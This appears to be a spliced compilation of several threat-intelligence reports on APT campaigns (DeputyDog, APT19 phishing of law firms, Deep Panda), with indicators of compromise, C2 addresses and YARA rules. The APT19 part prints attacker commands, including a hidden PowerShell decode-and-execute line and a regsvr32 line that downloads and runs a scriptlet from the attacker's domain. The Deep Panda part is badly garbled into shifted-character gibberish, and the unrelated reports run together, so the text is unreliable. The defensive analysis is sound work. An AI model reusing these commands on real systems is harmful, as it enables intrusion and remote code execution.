Cupertino, CA 95014 U.S. toll free: 1 800.228.5651 Phone: 1 408.257.1500 Fax: 1 408.257.2003 www.trendmicro.com About This Paper Introduction Campaign Targets Context Attack Vector Infection Flow The RAT Component Backdoor Functionalities Installation and Persistence CC Communication Command and Control HeartBeat Campaign Codes and Decoy Documents Relationships among CC Domains, IPs, and Campaigns Attribution Conclusion Timeline Defending against the HeartBeat Campaign
Operation DeputyDog: Zero-Day (CVE-2013-3893) Attack Against Japanese Targets FireEye has discovered a campaign leveraging the recently announced zero-day CVE-2013-3893.
This campaign, which we have labeled Operation DeputyDog, began as early as August 19, 2013 and appears to have targeted organizations in Japan.
FireEye Labs has been continuously monitoring the activities of the threat actor responsible for this campaign.
Analysis based on our Dynamic Threat Intelligence cluster shows that this current campaign leveraged command and control infrastructure that is related to the infrastructure used in the attack on Bit9.
Campaign Details On September 17, 2013 Microsoft published details regarding a new zero-day exploit in Internet Explorer that was being used in targeted attacks.
FireEye can confirm reports that these attacks were directed against entities in Japan.
Furthermore, FireEye has discovered that the group responsible for this new operation is the same threat actor that compromised Bit9 in February 2013.
FireEye detected the payload used in these attacks on August 23, 2013 in Japan.
The payload was hosted on a server in Hong Kong (210.176.3.130) and was named img20130823.jpg.
Although it had a .jpg file extension, it was not an image file.
The file, when XORed with 095, was an executable (MD5: 8aba4b5184072f2a50cbc5ecfe326701).
Upon execution, 8aba4b5184072f2a50cbc5ecfe326701 writes 28542CC0.dll (MD5: 46fd936bada07819f61ec3790cb08e19) to this location: C:\Documents and Settings\All Users\Application Data\28542CC0.dll In order to maintain persistence, the original malware adds this registry key: HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\28542CC0 The registry key has this value: rundll32.exe C:\Documents and Settings\All Users\Application Data\28542CC0.dll,Launch The malware (8aba4b5184072f2a50cbc5ecfe326701) then connects to a host in South Korea (180.150.228.102).
This callback traffic is HTTP over port 443 (which is typically used for HTTPS encrypted traffic however, the traffic is not HTTPS nor SSL encrypted).
Instead, this clear-text callback traffic resembles this pattern: http://blogs.technet.com/b/srd/archive/2013/09/17/cve-2013-3893-fix-it-workaround-available.aspx http://technet.microsoft.com/en-us/security/advisory/2887505 https://community.qualys.com/blogs/laws-of-vulnerabilities/2013/09/17/september-2013--new-ie-0-day https://blog.bit9.com/2013/02/25/bit9-security-incident-update/ POST /info.asp HTTP/1.1 Content-Type: application/x-www-form-urlencoded Agtid: [8 chars]08x User-Agent: Mozilla/4.0 (compatible MSIE 6.0 Win32) Host: 180.150.228.102:443 Content-Length: 1045 Connection: Keep-Alive Cache-Control: no-cache [8 chars]08x[Base64 Content] The unique HTTP header Agtid: contains 8 characters followed by 08x.
The same pattern can be seen in the POST content as well.
A second related sample was also delivered from 111.118.21.105/css/sun.css on September 5, 2013.
The sun.css file was a malicious executable with an MD5 of bd07926c72739bb7121cec8a2863ad87 and it communicated with the same communications protocol described above to the same command and control server at 180.150.228.102.
Related Samples We found that both droppers, bd07926c72739bb7121cec8a2863ad87 and 8aba4b5184072f2a50cbc5ecfe326701, were compiled on 2013-08-19 at 13:21:59 UTC.
As we examined these files, we noticed a unique fingerprint.
These samples both had a string that may have been an artifact of the builder used to create the binaries.
This string was DGGYDSYRL, which we refer to as DeputyDog.
As such, we developed the following YARA signature, based on this unique attribute: rule APT_DeputyDog_Strings  meta: author  FireEye Labs version  1.0 description  detects string seen in samples used in 2013-3893 0day attacks reference  8aba4b5184072f2a50cbc5ecfe326701 strings: mz  4d 5a a  DGGYDSYRL condition: (mz at 0) and a  We used this signature to identify 5 other potentially related samples: MD5 Compile Time (UTC) C2 Server 58dc05118ef8b11dcb5f5c596ab772fd 2013-08-19 13:21:58 180.150.228.102 4d257e569539973ab0bbafee8fb87582 2013-08-19 13:21:58 103.17.117.90 dbdb1032d7bb4757d6011fb1d077856c 2013-08-19 13:21:59 110.45.158.5 645e29b7c6319295ae8b13ce8575dc1d 2013-08-19 13:21:59 103.17.117.90 e9c73997694a897d3c6aadb26ed34797 2013-04-13 13:42:45 110.45.158.5 Note that all of the samples, except for e9c73997694a897d3c6aadb26ed34797, were compiled on 2013- 08-19, within 1 second of each other.
We pivoted off the command and control IP addresses used by these samples and found the following known malicious domains recently pointed to 180.150.228.102.
Domain First Seen Last Seen ea.blankchair.com 2013-09-01 05:02:22 2013-09-01 08:25:22 rt.blankchair.com 2013-09-01 05:02:21 2013-09-01 08:25:24 ali.blankchair.com 2013-09-01 05:02:20 2013-09-01 08:25:22 dll.freshdns.org 2013-07-01 10:48:56 2013-07-09 05:00:03 Links to Previous Campaigns According to Bit9, the attackers that penetrated their network dropped two variants of the HiKit rootkit.
One of these Hitkit samples connected to a command and control server at downloadmp3server[.]servemp3[.
]com that resolved to 66.153.86.14.
This same IP address also hosted www[.]yahooeast[.
]net, a known malicious domain, between March 6, 2012 and April 22, 2012.
The domain yahooeast[.
]net was registered to 654123.com.
This email address was also used to register blankchair[.
]com  the domain that we see was pointed to the 180.150.228.102 IP, which is the callback associated with sample 58dc05118ef8b11dcb5f5c596ab772fd, and has been already correlated back to the attack leveraging the CVE-2013-3893 zero-day vulnerability.
Threat Actor Attribution https://blog.bit9.com/2013/02/25/bit9-security-incident-update/ https://www.mandiant.com/blog/hikit-rootkit-advanced-persistent-attack-techniques-part-1-2/ Conclusion While these attackers have a demonstrated previously unknown zero-day exploits and a robust set of malware payloads, using the techniques described above, it is still possible for network defense professionals to develop a rich set of indicators that can be used to detect their attacks.
This is the first part of our analysis, we will provide more detailed analysis on the other components of this attack in subsequent blog post.
This entry was posted in Advanced Malware, Exploits, Targeted Attack, Threat Intelligence, Threat Research by Ned Moran and Nart Villeneuve.
Bookmark the permalink.
http://www.fireeye.com/blog/wp-content/uploads/2013/09/deputydog.png http://www.fireeye.com/blog/category/technical/malware-research http://www.fireeye.com/blog/category/technical/cyber-exploits http://www.fireeye.com/blog/category/technical/targeted-attack http://www.fireeye.com/blog/category/technical/threat-intelligence http://www.fireeye.com/blog/category/technical http://www.fireeye.com/blog/author/ned-moran http://www.fireeye.com/blog/author/narottama-villeneuve http://www.fireeye.com/blog/technical/cyber-exploits/2013/09/operation-deputydog-zero-day-cve-2013-3893-attack-against-japanese-targets.html
Privileges and Credentials: Phished at the Request of Counsel fireeye.com /blog/threat-research/2017/06/phished-at-the-request-of-counsel.html Summary In May and June 2017, FireEye observed a phishing campaign targeting at least seven global law and investment firms.
We have associated this campaign with APT19, a group that we assess is composed of freelancers, with some degree of sponsorship by the Chinese government.
APT19 used three different techniques to attempt to compromise targets.
In early May, the phishing lures leveraged RTF attachments that exploited the Microsoft Windows vulnerability described in CVE 2017-0199.
Toward the end of May, APT19 switched to using macro-enabled Microsoft Excel (XLSM) documents.
In the most recent versions, APT19 added an application whitelisting bypass to the XLSM documents.
At least one observed phishing lure delivered a Cobalt Strike payload.
As of the writing of this blog post, FireEye had not observed post-exploitation activity by the threat actors, so we cannot assess the goal of the campaign.
We have previously observed APT19 steal data from law and investment firms for competitive economic purposes.
This purpose of this blog post is to inform law firms and investment firms of this phishing campaign and provide technical indicators that their IT personnel can use for proactive hunting and detection.
The Emails APT19 phishing emails from this campaign originated from sender email accounts from the cloudsend[.
]net domain and used a variety of subjects and attachment names.
Refer to the Indicators of Compromise section for more details.
The Attachments APT19 leveraged Rich Text Format (RTF) and macro-enabled Microsoft Excel (XLSM) files to deliver their initial exploits.
The following sections describe the two methods in further detail.
RTF Attachments Through the exploitation of the HTA handler vulnerability described in CVE-2017-1099, the observed RTF attachments download hxxp://tk-in-f156.2bunny[.
]com/Agreement.doc.
Unfortunately, this file was no longer hosted at tk-in-f156.2bunny[.
]com for further analysis.
Figure 1 is a screenshot of a packet capture showing one of the RTF files reaching out to hxxp://tk-in-f156.2bunny[.
]com/Agreement.doc.
1/14 https://www.fireeye.com/blog/threat-research/2017/06/phished-at-the-request-of-counsel.html https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html https://www.fireeye.com/blog/threat-research/2017/04/cve-2017-0199-hta-handler.html Figure 1: RTF PCAP XLSM Attachments The XLSM attachments contained multiple worksheets with content that reflected the attachment name.
The attachments also contained an image that requested the user to Enable Content, which would enable macro support if it was disabled.
Figure 2 provides a screenshot of one of the XLSM files (MD5:30f149479c02b741e897cdb9ecd22da7).
Figure 2: Enable macros One of the malicious XLSM attachments that we observed contained a macro that: 1.
Determined the system architecture to select the correct path for PowerShell 2.
Launched a ZLIB compressed and Base64 encoded command with PowerShell.
This is a typical technique used by Meterpreter stagers.
Figure 3 depicts the macro embedded within the XLSM file (MD5: 38125a991efc6ab02f7134db0ebe21b6).
2/14 3/14 Figure 3: XLSX Macro Figure 4 contains the decoded output of the encoded text.
Figure 4: Decoded ZLIB  Base64 payload 4/14 The shellcode invokes PowerShell to issue a HTTP GET request for a random four (4) character URI on the root of autodiscovery[.]2bunny[.
]com.
The requests contain minimal HTTP headers since the PowerShell command is executed with mostly default parameters.
Figure 5 depicts an HTTP GET request generated by the payload, with minimal HTTP headers.
Figure 5: GET Request with minimal HTTP headers Converting the shellcode to ASCII and removing the non-printable characters provides a quick way to pull out network-based indicators (NBI) from the shellcode.
Figure 6 shows the extracted NBIs.
Figure 6: Decoded shellcode FireEye also identified an alternate macro in some of the XLSM documents, displayed in Figure 7.
Figure 7: Alternate macro This macro uses Casey Smiths Squiblydoo Application Whitelisting bypass  technique to run the command in Figure 8.
Figure 8: Application Whitelisting Bypass 5/14 http://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html The command in Figure 8 downloads and launches code within an SCT file.
The SCT file in the payload (MD5: 1554d6fe12830ae57284b389a1132d65) contained the code shown in Figure 9.
Figure 9: SCT contents Figure 10 provides the decoded script.
Notice the DoIt string, which is usually indicative of a Cobalt Strike payload.
6/14 7/14 Figure 10: Decoded SCT contents A quick conversion of the contents of the variable var_code from Base64 to ASCII shows some familiar network indicators, shown in Figure 11.
Figure 11: var_code to ASCII Second Stage Payload Once the XLSM launches its PowerShell command, it downloads a typical Cobalt Strike BEACON payload, configured with the following parameters: Process Inject Targets: windir\syswow64\rundll32.exe windir\sysnative\rundll32.exe c2_user_agents Mozilla/5.0 (compatible MSIE 9.0 Windows NT 6.1 Trident/5.0 FunWebProducts IE0006_ver1EN_GB) Named Pipes \\s\pipe\msagent_x beacon_interval 60 C2 autodiscover.2bunny[.
]com/submit.php autodiscover.2bunny[.
]com/IE9CompatViewList.xml sfo02s01-in-f2.cloudsend[.
]net/submit.php sfo02s01-in-f2.cloudsend[.
]net/IE9CompatViewList.xml C2 Port TCP/80 Figure 12 depicts an example of a BEACON C2 attempt from this payload.
8/14 Figure 12: Cobalt Strike BEACON C2 FireEye Product Detections The following FireEye products currently detect and block the methods described above.
Table 1 lists the current detection and blocking capabilities by product.
Detection Name Product Action Notes SUSPICIOUS POWERSHELL USAGE (METHODOLOGY) HX Detect XSLM Macro launch Gen:Variant.
Application.
HackTool.
CobaltStrike.1 HX Detect XSLM Macro launch Malware Object HX Detect BEACON written to disk Backdoor.
BEACON NX Block BEACON Callback FE_Malformed_RTF EX/ETP/NX Block RTF Malware.
Binary.rtf EX/ETP/NX Block RTF Malware.
Binary EX/ETP/NX Block RTF Malware.
Binary.xlsx EX/ETP/NX Block XSLM Table 1: Detection review Appliances must be configured for block mode.
Recommendations FireEye recommends organizations perform the following steps to mitigate the risk of this campaign: 1.
Microsoft Office users should apply the patch from Microsoft as soon as possible, if they have not already installed it.
2.
Search historic and future emails that match the included indicators of compromise.
3.
Review web proxy logs for connections to the included network based indicators of compromise.
4.
Block connections to the included fully qualified domain names.
5.
Review endpoints for the included host based indicators of compromise.
Indicators of Compromise The following section provides the IOCs for the variants of the phishing emails and malicious payloads that FireEye 9/14 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199 has observed during this campaign.
Email Senders PressReader infodeptcloudsend[.
]net Angela Suh angela.suhcloudsend[.
]net Ashley Safronoff ashley.safronoffcloudsend[.
]net Lindsey Hersh lindsey.hershcloudsend[.
]net Sarah Roberto sarah.robertocloudsend[.
]net noreplycloudsend[.
]net Email Subject Lines Macron Denies Authenticity Of Leak, French Prosecutors Open Probe Macron Document Leaker Releases New Images, Promises More Information Are Emmanuel Macrons Tax Evasion Documents Real?
Time Allocation Vacancy Report china paper table and graph results with zeros  some ready not all finished Macron Leaks contain secret plans for the islamisation of France and Europe Attachment Names Macron_Authenticity.doc.rtf Macron_Information.doc.rtf US and EU Trade with China and China CA.xlsm Tables 4 5 7 Appendix with zeros.xlsm Project Codes - 05.30.17.xlsm Weekly Vacancy Status Report 5-30-15.xlsm Macron_Tax_Evasion.doc.rtf Macron_secret_plans.doc.rtf Network Based Indicators (NBI) lyncdiscover.2bunny[.
]com autodiscover.2bunny[.
]com lyncdiscover.2bunny[.
]com:443/Autodiscover/AutodiscoverService/ lyncdiscover.2bunny[.
]com/Autodiscover 10/14 autodiscover.2bunny[.
]com/K5om sfo02s01-in-f2.cloudsend[.
]net/submit.php sfo02s01-in-f2.cloudsend[.
]net/IE9CompatViewList.xml tk-in-f156.2bunny[.
]com tk-in-f156.2bunny[.
]com/Agreement.doc 104.236.77[.
]169 138.68.45[.
]9 162.243.143[.
]145 Mozilla/5.0 (compatible MSIE 9.0 Windows NT 6.1 Trident/5.0 FunWebProducts IE0006_ver1EN_GB) tf-in-f167.2bunny[.
]com:443 (Only seen in VT not ITW) Host Based Indicators (HBI) RTF MD5 hash values 0bef39d0e10b1edfe77617f494d733a8 0e6da59f10e1c4685bb5b35a30fc8fb6 cebd0e9e05749665d893e78c452607e2 XLSX MD5 hash values 38125a991efc6ab02f7134db0ebe21b6 3a1dca21bfe72368f2dd46eb4d9b48c4 30f149479c02b741e897cdb9ecd22da7 BEACON and Meterpreter payload MD5 hash values bae0b39197a1ac9e24bdf9a9483b18ea 1151619d06a461456b310096db6bc548 Process arguments, named pipes, and file paths powershell.exe -NoP -NonI -W Hidden -Command Invoke-Expression (New-Object IO.StreamReader ((New-Object IO.Compression.
DeflateStream ((New-Object IO.MemoryStream (,([Convert]::FromBase64String(base64 blob) regsvr32.exe /s /n /u /i:hxxps://lyncdiscover.2bunny.com/Autodiscover scrobj.dll \\ip\pipe\msagent_4 digits C:\Documents and Settings\user\Local Settings\Temp\K5om.dll (4 character DLL based on URI of original GET request) Yara Rules 11/14 rule FE_LEGALSTRIKE_MACRO meta:version.1 filetypeMACRO authorIan.
Ahlfireeye.com TekDefense date2017-06-02 descriptionThis rule is designed to identify macros with the specific encoding used in the sample 30f149479c02b741e897cdb9ecd22da7.
strings: // OBSFUCATION ob1  ChrW(114)  ChrW(101)  ChrW(103)  ChrW(115)  ChrW(118)  ChrW(114)  ChrW(51) ChrW(50)  ChrW(46)  ChrW(101) ascii wide ob2  ChrW(120)  ChrW(101)  ChrW(32)  ChrW(47)  ChrW(115)  ChrW(32)  ChrW(47) ChrW(110)  ChrW(32)  ChrW(47) ascii wide ob3  ChrW(117)  ChrW(32)  ChrW(47)  ChrW(105)  ChrW(58)  ChrW(104)  ChrW(116) ChrW(116)  ChrW(112)  ChrW(115) ascii wide ob4  ChrW(58)  ChrW(47)  ChrW(47)  ChrW(108)  ChrW(121)  ChrW(110)  ChrW(99) ChrW(100)  ChrW(105)  ChrW(115) ascii wide ob5  ChrW(99)  ChrW(111)  ChrW(118)  ChrW(101)  ChrW(114)  ChrW(46)  ChrW(50) ChrW(98)  ChrW(117)  ChrW(110) ascii wide ob6  ChrW(110)  ChrW(121)  ChrW(46)  ChrW(99)  ChrW(111)  ChrW(109)  ChrW(47) ChrW(65)  ChrW(117)  ChrW(116) ascii wide ob7  ChrW(111)  ChrW(100)  ChrW(105)  ChrW(115)  ChrW(99)  ChrW(111)  ChrW(118) ChrW(101)  ChrW(114)  ChrW(32) ascii wide ob8  ChrW(115)  ChrW(99)  ChrW(114)  ChrW(111)  ChrW(98)  ChrW(106)  ChrW(46) ChrW(100)  ChrW(108)  ChrW(108) ascii wide obreg1  /(\w5\s\s)7\w5/ obreg2  /(Chrw\(\d1,3\)\s\s)7/ // wscript wsobj1  Set Obj  CreateObject(\WScript.
Shell\) ascii wide wsobj2  Obj.
Run  ascii wide condition: ( ( (uint16(0)  0x5A4D) ) and ( all of (wsobj) and 3 of (ob) or all of (wsobj) and all of (obreg) ) )  12/14 rule FE_LEGALSTRIKE_MACRO_2 meta:version.1 filetypeMACRO authorIan.
Ahlfireeye.com TekDefense date2017-06-02 descriptionThis rule was written to hit on specific variables and powershell command fragments as seen in the macro found in the XLSX file3a1dca21bfe72368f2dd46eb4d9b48c4.
strings: // Setting the environment env1  Arch  Environ(\PROCESSOR_ARCHITECTURE\) ascii wide env2  windir  Environ(\windir\) ascii wide env3  windir  \\\syswow64\\windowspowershell\\v1.0\\powershell.exe\ ascii wide // powershell command fragments ps1  -NoP ascii wide ps2  -NonI ascii wide ps3  -W Hidden ascii wide ps4  -Command ascii wide ps5  New-Object IO.StreamReader ascii wide ps6  IO.Compression.
DeflateStream ascii wide ps7  IO.MemoryStream ascii wide ps8  ,([Convert]::FromBase64String ascii wide ps9  ReadToEnd() ascii wide psregex1  /\W\w\s\s\.\/ condition: ( ( (uint16(0)  0x5A4D) ) and ( all of (env) and 6 of (ps) or all of (env) and 4 of (ps) and all of (psregex) ) )  13/14 rule FE_LEGALSTRIKE_RTF meta: version.1 filetypeMACRO authorjoshua.kimFireEye.com date2017-06-02 descriptionRtf Phishing Campaign leveraging the CVE 2017-0199 exploit, to point to the domain 2bunnyDOTcom strings: header  \\rt lnkinfo  4c0069006e006b0049006e0066006f encoded1  4f4c45324c696e6b encoded2  52006f006f007400200045006e007400720079 encoded3  4f0062006a0049006e0066006f encoded4  4f006c0065 http1  68 http2  74 http3  07 // 2bunny.com domain1  32\\ domain2  62\\ domain3  75\\ domain4  6e\\ domain5  79\\ domain6  2e\\ domain7  63\\ domain8  6f\\ domain9  6d\\ datastore  \\\\datastore condition: header at 0 and all of them  Acknowledgements Joshua Kim, Nick Carr, Gerry Stellatos, Charles Carmakal, TJ Dahms, Nick Richard, Barry Vengerik, Justin Prosco, Christopher Glyer 14/14 Privileges and Credentials: Phished at the Request of Counsel Summary The Emails The Attachments RTF Attachments XLSM Attachments Second Stage Payload FireEye Product Detections Recommendations Indicators of Compromise Email Senders Email Subject Lines Attachment Names Network Based Indicators (NBI) Host Based Indicators (HBI) Yara Rules Acknowledgements
DEEP PANDA INTELLIGENCE TEAM REPORT VER.
1.0 DEEP PANDA 1 EXECUTIVE SUMMARY 21 1 TECHNICAL ANALYSIS 3 Dropper Sample (MD5: 14c04f88dc97aef3e9b516ef208a2bf5) 3 Backdoor DLL Sample (MD5: 47619fca20895abc83807321cbb80a3d) 5 Initial C2 Phone Home Beacon 6 Network Protocol and Implementation 7 Backdoor Functionality, Supported Commands 7 Post Exploitation Tool Sample (MD5:  2dce7fc3f52a692d8a84a0c182519133) 8 Network Protocol and Implementation 9 Backdoor DLL Sample (MD5:  de7500fc1065a081180841f32f06a537) 10 C2 Communication Mechanisms 12 C2 Command Invocation 13 Kernel Driver Sample (MD5: dae6b9b3b8e39b08b10a51a6457444d8) 14 Entrypoint 14 Network Signatures 18 File System Artifacts 19 Registry Artifacts 19 Other Artifacts 19 2 1 MITIGATION / REMEDIATION 183 1 ATTRIBUTION 20 4 1 CONCLUSION 25 Dropper/Implant 1 25 Post Exploitation Tool 25 Implant 2 26 Backdoor DLL 26 System Driver 26 5 1 APPENDIX 27 Appendix A: Command Line Options for Post Exploitation Tool Sample                                                 27 Appendix B: Algorithm for computing machine ID 28 Appendix C: Remote Commands Supported by .NET Backdoor Post Exploitation Tool Sample 28 Appendix D: Raw bytes of example Authentication packet.
30 Appendix E: Initialization of KEY and IV for AES 30 Appendix F: Command  Control Servers 31 Appendix G: Edward Suns kernel network hook code 32 Appendix H: Command and Control MD5 Correlation 41 6 ,QODWHHFHPEHUURZG6WULNH,QFUHFHLYHGWKUHHELQDU\H[HFXWDEOHOHVWKDWZHUHVXVSHFWHGRI KDYLQJEHHQLQYROYHGLQDVRSKLVWLFDWHGDWWDFNDJDLQVWDODUJH)RUWXQHFRPSDQ\7KHOHVZHUH DQDO\]HGWRXQGHUVWDQGUVWLIWKH\ZHUHLQIDFWPDOLFLRXVDQGWKHOHYHORIVRSKLVWLFDWLRQRIWKHVDPSOHV The samples were clearly malicious and varied in sophistication.
All three samples provided remote access to the attacker, via two Command and Control (C2) servers.
One sample is typical of what is commonly referred to as a dropper because its primary purpose is to write a malicious component to disk and connect it to the targeted hosts operating system.
The malicious component in this case is what is commonly re- ferred to as a Remote Access Tool (RAT), this RAT is manifested as a Dynamic Link Library (DLL) installed as a service.
The second sample analyzed is a dual use tool that can function both as a post exploitation tool used to infect other systems, download additional tools, remove log data, and itself be used as a backdoor.
The third sample was a sophisticated implant that in addition to having multiple communication capabilities, and the ability to act as a relay for other infected hosts, utilized a kernel mode driver that can hide aspects of the tool from user-mode tools.
This third component is likely used for long-term implantation and intelligence gathering.
Some AV engines occasionally identify this sample as Derusbi Trojan.
CrowdStrike Intelligence Team has seen Trojans from 8 different builder variants of this RAT, including 64-bit versions, used in targeted attacks in 2011 against Defense, Energy/Power, and Chemical Industries in US and Japan.
OORIWKHVHVDPSOHVUHHFWFRPPRQWRROPDUNVDQGWUDGHFUDIWFRQVLVWHQWZLWKKLQHVHEDVHGDFWRUVZKR target various strategic interests of the United States including High Tech/Heavy Industry, Non-Governmental Organizations (NGOs), State/Federal Government, Defense Industrial Base (DIB), and organizations with vast economic interests.
This report contains an in-depth technical analysis of the samples, detection/remediation/mitigation information, attribution intelligence, and a conclusion aimed at providing the reader with a synopsis of the report.
EXECUTIVE SUMMARY S  E  N  S  I  T  I  V E 2CROWDSTRIKE DEEP PANDA The executable 14c04f88dc97aef3e9b516ef208a2bf5 is commonly referred to as a dropper, which is designed with the purpose of extracting from itself a malicious payload and to initialize and install it into a targeted system.
In this case, the malicious payload is a Dynamic-Link Library (DLL), which enables an attacker to have full control of the system.
This code appears to have been compiled on Wednesday May 4th, 2011 at 11:04:24 A.M. UTC (equivalent to early evening time in China).
Note that the timestamp is in 87KRZHYHUWKHUHODWLYHWLPHRIGD\LQKLQDLVSURYLGHGIRUWKHEHQHWRIWKHUHDGHU7KHVDPSOHUVW resolves several library functions provided by Microsoft using the LoadLibrary() and GetProcAddress() Application Programming Interfaces (APIs).
The imported function names are not encrypted however, the function name is minutely obfuscated by a simple single character substitution: The dropper invokes the SHGetSpecialFolderPath() API supplying a Constant Special Item ID List (CSIDL) of CSIDL_COMMON_DOCUMENTS to identify the destination folder for the malicious DLL payload.
The 6,/LQWKLVFDVHSRLQWVWR7KHOHV\VWHPGLUHFWRU\WKDWFRQWDLQVGRFXPHQWVWKDWDUHFRPPRQWRDOO users.
A typical path is C:\Documents and Settings\All Users\Documents.
7KHGURSSHUDWWHPSWVWRZULWHWKHPDOLFLRXVSD\ORDGWRRQHRIWKHIROORZLQJOHQDPHVXVLQJWKHUVW available name in this set: 1.
infoadmn.dll 2.
infoctrs.dll 3.
infocardapi.dll 7KHGURSSHUVHWVWKHFUHDWLRQDQGODVWZULWWHQWLPHVWDPSRIWKHQHZO\FUHDWHGOHWRWKHGDWH WKLVDOORZVWKHQHZO\FUHDWHGPDOLFLRXV//WREOHQGLQZLWKRWKHUV\VWHPOHV7KLVLVPHDQWWR SUHYHQWLGHQWLFDWLRQGXULQJGLVNIRUHQVLFVXVLQJDFRPPRQLQYHVWLJDWLYHWHFKQLTXHFDOOHGDIRUHQVLF DQDO\VLVWLPHOLQH7KLVGDWHLVVSHFLHGLQWKHGURSSHUFRGHDQGGRHVQRWFKDQJHDFURVVPXOWLSOHLQIHFWLRQV 7KHPDOLFLRXV//OHWKDWLVGURSSHGLVKLGGHQLQDUHVRXUFHRIWKHGURSSHUELQDU\7KLVLVDUHODWLYHO\ FRPPRQWHFKQLTXHXVHGE\PDOZDUHGURSSHUOHVWRRSWLPL]HWKHQXPEHURIOHVUHTXLUHGWRLQIHFWD PDFKLQH7KHUHVRXUFHODQJXDJHRIWKHPDOLFLRXV//LVVHWWRKLQHVH6LPSOLHGWKLVLVDFRPSLOHU artifact which indicates the language setting on the compiler used by the person who built the binary was VHWWRKLQHVH6LPSOLHGDWWKHWLPHWKHGURSSHUZDVFRPSLOHG7KH0KHDGHUZKLFKGHQRWHVDELQDU\ H[HFXWDEOHOHRI TECHNICAL ANALYSIS Dropper Sample (MD5: 14c04f88dc97aef3e9b516ef208a2bf5) S  E  N  S  I  T  I  V E 3CROWDSTRIKE //Obfuscation of GetTempPathA() API function call strcpy((char )ProcName, 2etTempPathA) ProcName[0]  G DEEP PANDA WKHGURSSHG//LVLQLWLDOO\REIXVFDWHG:KHQWKHGURSSHUZULWHVWKHOHWRGLVNWKHUVWE\WHRIWKHOHLV ZKLFKSUHYHQWVWKHOHIURPH[HFXWLQJRUEHLQJGHWHFWHGDVDQH[HFXWDEOHE\PDQ\GHIHQVLYHWRROV 7KHGURSSHUVXEVHTXHQWO\RSHQVWKHGURSSHGOHDQGFRUUHFWVWKHKHDGHUE\ZULWLQJWKH0RYHUWKHUVW E\WHDOORZLQJWKHOHWREHH[HFXWHG VXEURXWLQHWRGHFRPSUHVVWKHGURSSHGOHLVSUHVHQWDVGHDGFRGHFRGHWKDWLVQRWXVHGLQWKH ELQDU\7KLVVXEURXWLQHZLOOEHLQYRNHGRQWKHDOUHDG\FORVHGOHKDQGOHRIWKHGURSSHGOHLQWKHSUHVHQW code version.
Since the dropped resource is not compressed, the routine fails.
This indicates a low VRSKLVWLFDWLRQPRGLFDWLRQWRWKHRULJLQDOGURSSHUFRGHWRPDNHLWZRUNZLWKDQXQFRPSUHVVHGUHVRXUFH 7KHQDOVWHSWKHGURSSHUSHUIRUPVLVWRORDGWKHGURSSHG//LQWRLWVRZQSURFHVVVSDFHLWWKHQUHVROYHV WKHH[SRUW2SHQ,1)23HUIRUPDQFHDWDIURPWKH//DQGLQYRNHVLWZLWKWKHGURSSHG//VOHQDPHDV parameter.
This export then implements the actual install logic to maintain persistence and invoke the main routine.
The dropper binary contains an icon resource that resembles the Google Chrome browser icon, the re- VRXUFHODQJXDJHLVVHWWRKLQHVH6LPSOLHGZKLFKLVFRQVLVWHQWZLWKWKHEXLOGHURIWKHWRROKDYLQJWKHLU systems language set to Chinese.
The use of the Chrome icon may indicate a possible attempt to socially HQJLQHHUWKHLQWHQGHGYLFWLPLQWRWKLQNLQJWKHGURSSHUZDVDOHJLWLPDWHOHDVVRFLDWHGZLWKRRJOH S  E  N  S  I  T  I  V E 4CROWDSTRIKE DEEP PANDA 7KLVVDPSOHLVDEDFNGRRUZKLFKLVWKH//GURSSHGE\WKHGURSSHUVDPSOHOHZLWKDQ0RI 14c04f88dc97aef3e9b516ef208a2bf5.
This code appears to have been compiled on Wednesday May 4th, 2011 at 10:48:19 A.M. UTC (equivalent to early evening time in China).
It is instantiated when it is mapped LQWRWKHSURFHVVVSDFHRILWVGURSSHUOHDQGLWVH[SRUWQDPHG2SHQ,1)23HUIRUPDQFHDWDLVFDOOHG 7KLVH[SRUWUVWDWWHPSWVWRVWRSDVHUYLFHFDOOHGPVXSGDWHZKLFKLVQRWDNQRZQ0LFURVRIW:LQGRZV service despite the appearance.
If the service is present, the malware replaces its previous instances or versions of this backdoor.
After attempting to disable the existing service, the malware tries to install itself as a service with that same name.
During installation, the sample attempts to use documented APIs such as OpenSCManager() and CreateService() to initialize itself as a persistent Windows service.
As a precaution, the sample writes settings directly to the Windows Registry to accomplish the same goal if installing the service with the documented APIs fails.
The registry change creates the following key: HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\msupdate\\Parameters Following this, the subroutine will set the value of the ServiceDLL to the module handle of the DLL.
The next key to be changed is: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost, which will have the msupdate key set to msupdate.
The export CollectW3PerfData is registered as the main function of the DLL.
If the installation of the new service is successful, the sample then starts the new service and exits.
If the installation fails, the sample VSDZQVDQHZSURFHVVXVLQJUXQGOOH[HWKLVH[HFXWDEOHZLOOLQVWDQWLDWHWKH//DQGFDQFDOODVSHFLF exported function.
In the case of installation failure, rundll32.exe calls the main functions export ROOHFW:3HUIDWD7KHUXQGOOH[HH[HFXWDEOHLVLQVWDQWLDWHGZLWKDQHZ18//6HFXULW\,GHQWLHU6, 6ZLWKSHUPLVVLRQVVHWWRJUDQWDOODFFHVVWRWKHOH7KLVDOORZVDQ\XVHUWRKDYHFRPSOHWHFRQWURO over the machine, as rundll32.exe is frequently launched by tasks such as changing the time, wallpaper, or other system settings.
This means that after cleaning up the components dropped by the malware, the system remains vulnerable to local attacks by simply overwriting the legitimate rundll32.exe executable with a malicious version and await its automatic execution by the Operating System.
7KHPDLQHQWU\SRLQWWRWKH//LVQDPHGROOHFW:3HUIDWDDVLWUVWFUHDWHVDQGGLVSOD\VDIDNH Window with class NOD32_d where d is replaced with a pseudo-random number.
This may be an attempt to fool some automated dynamic analysis or anti-malware software into believing this is the OHJLWLPDWH(6(79VRIWZDUH7KHZLQGRZLVKRZHYHUQRWYLVLEOHDQGLPSOHPHQWVQRVSHFLFIXQFWLRQDOLW\ After creating this window, the routine starts the main thread that eventually initiates calling out to the Command and Control (C2).
In order to accomplish this task, the newly S  E  N  S  I  T  I  V E 5CROWDSTRIKE Backdoor DLL Sample (MD5: 47619fca20895abc83807321cbb80a3d) DEEP PANDA created thread initializes networking APIs using WSAStartup() and resolves some other APIs dynamically using LoadLibrary() and GetProcAddress().
